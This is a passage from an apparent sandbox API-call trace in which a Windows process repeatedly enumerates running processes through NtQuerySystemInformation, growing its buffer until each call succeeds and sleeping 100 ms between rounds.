(HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0132.148] Sleep (dwMilliseconds=0x64) [0132.430] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0132.430] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0132.430] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0132.431] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0132.431] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x6de1b8 [0132.431] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6de1b8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6de1b8, ResultLength=0x0) returned 0xc0000004 [0132.431] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6de1b8, Size=0x4090) returned 0x6f64b0 [0132.431] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.431] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0132.431] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.431] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0132.431] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.431] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0132.431] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.432] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x75d9d0 [0132.432] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x75d9d0, ResultLength=0x0) returned 0xc0000004 [0132.432] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9d0, Size=0x9144) returned 0x75d9d0 [0132.432] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x75d9d0, ResultLength=0x0) returned 0x0 [0132.432] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0132.432] Sleep (dwMilliseconds=0x64) [0132.585] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0132.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0132.585] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0132.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0132.585] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0132.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0132.587] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0132.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.587] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0132.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.587] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0132.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.587] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0132.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.588] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0132.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0132.588] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0132.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0132.588] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0132.589] Sleep (dwMilliseconds=0x64) [0132.711] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0132.711] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0132.711] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0132.711] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0132.711] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0132.711] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0132.711] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0132.711] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.711] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0132.712] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.712] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0132.712] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.712] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0132.712] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.712] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0132.712] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0132.712] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0132.712] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0132.712] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0132.712] Sleep (dwMilliseconds=0x64) [0132.922] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0132.922] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0132.922] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0132.922] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0132.922] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0132.922] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0132.922] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0132.922] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.922] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0132.922] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.922] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0132.922] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.923] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0132.923] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0132.923] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0132.923] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0132.923] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0132.923] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0132.923] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0132.923] Sleep (dwMilliseconds=0x64) [0133.349] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0133.349] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0133.349] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0133.349] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0133.349] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0133.349] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0133.349] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0133.349] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.349] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0133.349] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.349] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0133.349] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0133.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0133.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0133.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0133.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0133.350] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0133.350] Sleep (dwMilliseconds=0x64) [0133.511] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0133.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0133.511] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0133.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0133.511] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0133.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0133.511] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0133.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.511] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0133.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.511] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0133.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.512] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0133.512] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.512] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0133.512] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0133.512] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0133.512] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0133.512] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0133.512] Sleep (dwMilliseconds=0x64) [0133.818] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0133.818] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0133.818] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0133.818] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0133.818] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0133.818] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0133.819] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0133.819] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.819] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0133.819] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.819] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0133.819] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.819] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0133.819] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.819] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0133.819] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0133.819] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0133.820] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0133.820] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0133.820] Sleep (dwMilliseconds=0x64) [0133.959] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0133.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0133.959] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0133.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0133.959] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0133.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0133.959] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0133.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.959] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0133.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.959] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0133.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.960] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0133.960] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0133.960] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0133.960] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0133.960] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0133.960] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0133.960] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0133.960] Sleep (dwMilliseconds=0x64) [0134.109] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0134.109] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0134.110] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0134.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0134.110] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0134.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0134.110] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0134.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.110] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0134.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.110] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0134.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.110] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0134.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.110] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0134.110] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0134.111] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0134.111] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0134.111] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0134.111] Sleep (dwMilliseconds=0x64) [0134.342] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0134.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0134.343] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 